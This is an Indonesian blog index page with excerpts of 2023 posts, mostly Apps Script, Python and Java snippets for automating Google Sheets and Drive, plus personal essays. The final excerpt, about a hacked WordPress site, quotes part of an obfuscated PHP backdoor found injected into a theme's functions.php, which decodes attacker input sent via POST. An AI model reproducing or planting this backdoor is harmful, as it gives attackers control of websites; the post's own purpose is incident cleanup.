Postingan

Menampilkan postingan dari 2023

Apps Script untuk Membuat Banyak Folder di Google Drive

Melanjutkan pekerjaan sebelumnya, ternyata diperlukan pembuatan folder berdasarkan inisial karyawan, pada Spreadsheet daftar karyawan yang digunakan pada posting yang berjudul "Duplikasi File Template Kuisioner dengan Apps Script" . Tujuannya, dengan memberikan akses tiap folder berdasarkan akun masing-masing karyawan, maka dengan membuat file di dalam folder tersebut saja, file yang membutuhkan akses, akan dapat langsung digunakan oleh karyawan yang bersangkutan. Berikut ini adalah kode untuk membuat folder berdasarkan inisial karyawan: function makeFolderbyList() { var ss = SpreadsheetApp.openById("--idsheetkaryawan--");//sheet target untuk var so=ss.getSheetByName("Karyawan"); var data=so.getRange("A2:T").getValues().map(function(row,index){ var pass=false; if(row[0]!="" && row[19]=="Active"){ pass=true; row.push(index); } return pass?row:null}).filter(function(cellData){return cel...

Duplikasi File Template Kuisioner dengan Apps Script

Gambar
Suatu waktu, penulis mendapat tugas untuk membuat kuisioner beberapa karyawan menggunakan Google Spreadsheet. Di mana daftar karyawan juga telah disediakan pada file Spreadsheet lain seperti ditunjukkan pada gambar di bawah ini: Skema kerjanya, pertama penulis membuat template kuisioner. Kedua, penulis menduplikasinya, dengan nama file sesuai inisial masing-masing karyawan. Dan terakhir, ketiga, penulis mengumpulkan url tiap file kuisioner tiap karyawan, untuk rekapitulasi. Kode Apps Script untuk langkah kedua, adalah sebagai berikut: function duplicateFileAsList() { var ss = SpreadsheetApp.openById("idsheetinisialkaryawan");//sheet target untuk var so=ss.getSheetByName("Dosen"); var data=so.getRange("A2:D").getValues().map(function(row,index){ if(row[0]!=""){ row.push(index); } return (row[0]!="")?row:null}).filter(function(cellData){return cellData != null;}); var filesource=DriveApp.getFileById("idsp...

Mengecilkan dan Rename Berurutan File Gambar dengan Java

Gambar
Sebagai admin web site suatu instansi, seringkali gambar yang dikirim oleh bagian marketing untuk diposting sebagai berita, dikirim dengan ukuran yang besar, dan jika melalui aplikasi Whatsapp namanya akan menjadi panjang seperti ditunjukkan gambar dibawah ini: Besarnya ukuran file ini, sudah pasti karena saat tulisan ini ditulis, kamera ponsel telah dapat menghasilkan gambar dengan resolusi yang tinggi. Sedangkan untuk keperluan web, sebenarnya tidak harus besar, ukuran yang proposional dan representatif, justru akan mempercepat loading web dan menghemat space hosting. Memang, untuk keperluan membuat dokumentasi suatu kegiatan, dibanding sebelum tahun 2013, penulis rasakan menjadi lebih mudah. Di mana dulu penulis harus datang langsung, dan kalaupun mengambil photo, perlu dengan kamera yang benar-benar kamera. Sekarang penulis hanya tinggal meminta photo dokumentasi dan materi inti ke siapapun yang dapat hadir dalam kegiatan tersebut, sebab dengan kamera ponsel saat ini, siapapun ...

Manajemen Pekerjaan menggunakan Google Sheets

Gambar
Latar Belakang Salah satu kelemahan penulis adalah memanajemen pekerjaan. Hal ini karena penulis sering lupa, dan jika telah fokus ke satu pekerjaan, pekerjaan yang lain, yang penulis tinggalkan sebelumnya bisa lupa. Dan kalaupun memulai, bisa jadi dari awal. Dulu, ketika pekerjaan penulis hanya freelance pada aplikasi Edugameapp.com, penulis dapat konsentrasi dan pekerjaan hanya memiliki satu cabang, dan tahap penyelesaiannya mudah diingat, tanpa perlu dicatat. Sedangkan ketika bekerja disuatu instansi, tidak ada kata fokus, justru pekerjaan semakin beragam, dengan pola pengerjaan yang bersamaan, dan seolah tidak ada habisnya. Memang, dengan bekerja di instansi, meskipun statusnya outsourcing dan gaji lumayan stabil dibanding freelance. Tetapi pekerjaan lebih bersifat bersamaan (paralel), yang ketika pekerjaan satu belum selesai, telah datang atau ditambah dengan pekerjaan lain, dari/oleh atasan yang berbeda. Lucunya, meskipun pekerjaan itu adalah pekerjaan tim, yang konon dikerjakan ...

Mengirimkan Data Array Menggunakan Python dan Apps Script ke Google Sheets

Dalam posting ini, diberikan contoh mengirimkan data array menggunakan Python urllib dan Apps Script UrlFetchApp.fetch, untuk diinputkan ke Google Sheets dengan fungsi doPost. Fungsi doPost yang dimaksud, kurang lebih seperti kode dibawah ini: function doPost(e) { . . . var raw=(e.parameter["raw"]!=null)?JSON.parse(e.parameter["raw"].toString().replace(/'/g, '"')):null; var target = SpreadsheetApp.openById(idspreadsheet); var ss=target.getSheetByName(sheet); ss.getRange(1+start_row,1+start_column,raw.length,raw[0].length).setValues(raw); . . . } Di mana variabel target adalah Google Sheet tempat data disimpan. Sedangkan contoh pengiriman data array, berturut-turut sesuai kode berikut: Python from urllib import request, parse import json urlmain="https://script.google.com/macros/s/idapppost/exec" def senddingdata(idspreadsheet,sheet,mode,datum): data = { "keyvalue":"keyaccess","idspreadsheet...

Perbedaan Sudut Pandang Dosen dan Karyawannya

Sebuah perdebatan dingin dari sisi Dosen senior dan karyawan di suatu instansi pendidikan, di mana penulis pernah bekerja di dalamnya, menggelitik penulis untuk membaginya dalam blog ini. Bukan untuk meminta pembenaran, hanya saja penulis ingin berbagi sudut pandang, yang siapa tahu berefek positif bagi pembaca. Mulanya seorang karyawan senior, mengatakan jika ada yang dari pihak Dosen yang memberi penilaian jelek terhadap pekerjaan penulis sebagai karyawan, "Jangan dianggap, sebab yang membayar kita itu Fakultas. Bukan Dosen itu". Tentu, perkataan tersebut berpengaruh dan menjadikan penulis berprinsip, "Yang penting pekerjaanku selesai". Setelah beberapa lama bekerja, tiba-tiba seorang Dosen senior berbincang dengan penulis dan berkata, "Salah satu daya tarik Fakultas adalah SDM Dosen-dosen pengajarnya, sehingga mahasiswa bersedia belajar dan menjadi mahasiswa, adalah karena adanya Dosen-dosen, dan tugas karyawan adalah membantu Dosen-dosen tersebut". Dim...

Penggunaan JSON.stringify untuk Komunikasi Array dengan UrlFetchApp.fetch

Untuk mengambil atau memasukkan data dari database Google Sheets yang mempunyai beda authentifikasi, dapat menggunakan UrlFetchApp.fetch pada fungsi Apps Script dan menggunakan metode post. Dibawah ini adalah contoh pengiriman data array arr, untuk ditangkap dengan fungsi doPost(e): var email=Session.getActiveUser().getEmail(); var arr=["Mobil","Motor","Sepeda"]; var data = { "keyvalue":"idrahasia", "idspreadsheet":"--idgooglesheetdatabse--", "sheet":"Biodata", "ëmail":email, "raw":JSON.stringify(arr) }; var options = { 'method' : 'post', 'payload' : data }; var response=UrlFetchApp.fetch(urlpostdata,options); return JSON.parse(response.getContentText()); Perbedaan authentifikasi yang dimaksud disini adalah, misal aplikasi Apps Script yang dibuat, karena dibutuhkan untuk mengambil informasi email pengguna, maka authentifikasi akan diarahkan ke ...

Perbaikan Tanggal pada Google Sheets Akibat Beda Format Lokalisasi Indonesia

Gambar
Dalam Google Sheet, permasalahan yang sering penulis temui adalah terkait tanggal. Terutama ketika mengganti setting lokasi dan perhitungan dari United State ke format Indonesia. Belum lagi terkait timezone, seringkali penulis mengalami kesalahan perhitungan. Gambar di bawah ini adalah contoh kesalahan identifikasi tanggal, yang hari dianggap sebagai bulan, dan bulan sebagai hari. Sehingga yang berhasil di deteksi (meskipun sebenarnya salah) mengalami rataan kanan, sedangkan yang gagal di deteksi tetap rataan kiri. Oleh karena itu, untuk mudahnya, berikut ini adalah contoh kode Apps Script untuk mengubah letak tanggal menjadi bulan dan sebaliknya: function isValidDate(d) { if ( Object.prototype.toString.call(d) !== "[object Date]" ) return false; return !isNaN(d.getTime()); } function convertDate(sDate) { if (isValidDate(sDate)) { var timeZone = Session.getScriptTimeZone(); var month = sDate.getDate(); var day = sDate.getMonth() + 1; var year = sDa...

Membandingkan Kesamaan Text dengan Apps Script and Python

Gambar
Publikasi Dosen suatu instansi pendidikan kadang tidak terekam dengan baik. Sehingga ada kalanya terdapat double input dalam database. Untuk database yang menggunakan Google Sheet, deteksi kesamaan, sebenarnya dapat menggunakan kode Apps Script berikut: function hitungKesamaan(source,target) { var src=source.split(" "); var trg=target.split(" "); var max=(src.length>trg.length)?src.length:trg.length; if(max==0)return 0; var mrk=[]; for(var j =0; j < trg.length; j++){ mrk.push(0); } var jum=0; for(var i =0; i < src.length; i++){ for(var j =0; j < trg.length; j++){ if(mrk[j]!=1 && src[i]==trg[j]){ jum++; mrk[j]=1; break; } } } return jum*100.0/max; } Variabel source adalah judul pembanding, dan target adalah judul yang dibandingkan. Kode ini memberikan hasil nilai balik (return) berupa persentase jumlah kata yang sama antara judul source dan target. Di mana jika memberikan nila...

Perilaku Membunyikan Musik Keras-keras

Disetiap kali penulis tinggal, kos, kontrakan, rumah mertua, termasuk di rumah sendiri, pasti ada saja tetangga yang suka membunyikan musik keras-keras. Perlu diketahui, pengalaman domisili penulis tersebar di tiga kota yang berbeda (Malang, Kediri dan Banyuwangi), dengan ragam kampung dan asal tetangga yang berbeda-beda pula. Mungkin adakalanya karena mereka yang warga asli, merasa ini adalah kampung halamannya, sehingga mereka memasang volume seenak telinga mereka. Tetapi kadang menjadi kurang pantas, sebab penulis juga menemui seorang pendatang (suami dari penduduk asli), yang juga suka membunyikan musik seenaknya tersebut. Tentunya penulis akan semakin membenci jika itu adalah pendatang. Sebab bagaimanapun juga, membunyikan musik keras-keras, tetaplah polusi suara, yang tidak dibenarkan oleh agama dan negara. Dan bagi penulis, sepintar dan sekaya apapun mereka, pasti langsung menganggap mereka bodoh. Sebab kalau mereka pintar, seharusnya mereka memasang peredam suara ditembok, deng...

Konversi Google Sheets ke Excel dengan Apps Script

Gambar
Untuk keperluan input nilai Software OBE (Outcome-Based Education) buatan Prof. Agus Naba, yang beralamat di http://anaba.lecture.ub.ac.id/obesoftware/ , ternyata diperlukan perubahan susunan data file input excelnya. Hal ini dimungkinkan karena perubahan output nilai dari Sistem Akademik Universitas, yang semula tidak menyertakan persamaan, menambahkan baris pertama sebagai baris persamaan, dan data nilai-nilai mahasiswa baru dimulai pada baris kedua. Selain itu, juga diperlukan penambahan sheet Bobot NA, CLO dan PLO setiap file nilai, untuk keperluan penambahan input ke perhitungan. Karena Prof. Agus Naba belum sempat membuat perbaikan, sehingga file excel input yang seharusnya memiliki susunan seperti Spreadsheet template di link ini , untuk sementara hanya dirubah dengan menghilangkan baris rumus dan memasukkan bobot masing-masing variabel penilaian pada sheet kedua. Langkah mudahnya, yaitu dengan membuat Spreadsheet dengan menduplicate Spreadsheet template di atas, yang diisi oleh...

Apps Script untuk Menggabungkan Beberapa Google Sheet

Adakalanya, untuk file Google Sheet yang memiliki konten yang mirip, perlu digabungkan menjadi satu file. Hal ini biasanya agar akses dapat menjadi cepat. Berikut ini adalah kode untuk menggabungkan beberapa file yang mempunyai pola yang sama, dalam satu folder, ke file yang bernama Merger. function mergingFiles() { var ss = SpreadsheetApp.openById("idsheetterget");//Sheet Target var hasil = ss.getSheetByName("Nama Sheet"); var pointer=2; var files = DriveApp.getFolderById('idfolderfile').searchFiles('title != "nothing"');//ID Folder yang ingin ditampilkan listnya while(files.hasNext()){ var xFile = files.next(); var ss = SpreadsheetApp.openById(xFile.getId()); var names = ss.getSheetByName("Rekap Mengajar Dosen"); var data = names.getRange("A3:P").getValues().map(function(row,index){ if(row[0]!="")row[0]=xFile.getName(); return (row[0]!="")?row:null; })....

Mendaftar File di Google Drive menggunakan Apps Script

Dalam mengolah data berbasis Google Drive, adakalanya diperlukan untuk mengetahui nama file dalam suatu Folder, dan berikut url-nya. Jika file dalam jumlah banyak, maka akan lebih mudah menggunakan kode Apps Script. Kode berikut ini, adalah yang penulis gunakan untuk menampilkan daftar nama file beserta url-nya: function listFileOfDirectory() { var files = DriveApp.getFolderById('idfolder').searchFiles('title != "nothing"');//ID Folder yang ingin ditampilkan listnya while(files.hasNext()){ var xFile = files.next(); console.log(xFile.getName()+" "+xFile.getUrl()); } }

Menambahkan tanda Bintang dengan Apps Script

Gambar
Seringkali data yang dianggap angka oleh Google Sheet, di konversi secara otomatis ke bentuk angka. Sehingga nomor telpon, yang ditulis menggunakan angka 0 didepan, akan hilang angka 0-nya. Dan juga, kadang susunan angka-angka yang melebihi range bilangan bulat, akan di konversi ke bilangan asli, seperti data nomor KTP. Kedua hal di atas, sangat berpotensi untuk merubah data, tanpa disadari oleh programmer. Oleh karena itu, saat penulis mendapat data angka yang seharusnya berupa text, seperti gambar di bawah ini: Untuk menjaga kemungkinan pengubahan otomatis oleh Google Sheet dan karena jumlah datanya banyak, penulis menambahkan tanda * pada awal data dengan App Script berikut: function addBintang() { var target = SpreadsheetApp.getActiveSpreadsheet(); var sheetganti=target.getSheetByName("Nama Sheet"); sheetganti.getRange("B2:B").getValues().map(function(row,index){//B2:B range yang ingin dtambahkan * if(row[0].toString().indexOf("*")<0){ ...

Konversi Excel to Google Sheet dengan Apps Script

Adakalanya, untuk memproses suatu data Excel, diperlukan untuk mengubahnya ke bentuk Google Sheet. Jika jumlah file excelnya cuma satu, tentu konversinya akan mudah, tinggal 'Save as Google Sheets' begitu saja. Namun jika jumlahnya banyak, mengubahnya satu persatu dan akan membutuhkan waktu yang lama, yang pastinya akan menjemukan. Untungnya di Stackoverflow, penulis temukan kode Apps Script untuk konversi dari Excel to Google Sheet, yang kodenya penulis sedikit edit, sebagaimana di bawah ini: function convertXLS(){ var folderBId = "idfolderdrivetempatkonversi"; //Folder tujuan var files = DriveApp.getFolderById('idfolderdrivetargetfileexcel').searchFiles('title != "nothing"'); while(files.hasNext()){ var xFile = files.next(); var name = xFile.getName(); if (name.indexOf('.xlsx')>-1){ var ID = xFile.getId(); var xBlob = xFile.getBlob(); var newFile = { title : name.slice(0,name.indexOf...

No matching variant saat Upgrade Grandle

Gambar
Merupakan kewajiban bagi seorang developer Android, adalah me-maintenance aplikasinya. Hal ini perlu dilakukan, sesuai himbauan Play Store, sebagai toko tempat menjual aplikasi seperti gambar di bawah ini, bahwa aplikasi tidak akan ditemukan oleh perangkat dengan SDK yang terbaru. Tentu akan menjadi masalah jika tidak ditemukan, aplikasi akan kehilangan pasarnya, yang artinya developer berpotensi kehilangan income. Dan yang penulis temukan juga, jika tidak diupdate ke SDK yang terbaru, sepertinya algorithma Play Store juga malas merekomendasikannya ke pengguna. Tahun 2023, sudah menjadi tahun ke-8 penulis menjadi single fighter Android Developer . Bukan karena tidak ingin memperkerjakan/membutuhkan orang lain, namun kelemahan manajerial yang menjadi problem utamanya. Ditambah penulis adalah tipe yang kurang begitu percaya dengan hasil pekerjaan orang lain. Sehingga bekerja sendiri, menjadi pilihan yang paling aman dan tepat menurut penulis. Suatu hari, tepatnya sehari sebelum tulisan i...

Kode Java Membandingkan Dua File

Gambar
Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot. Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut. Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan. if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $...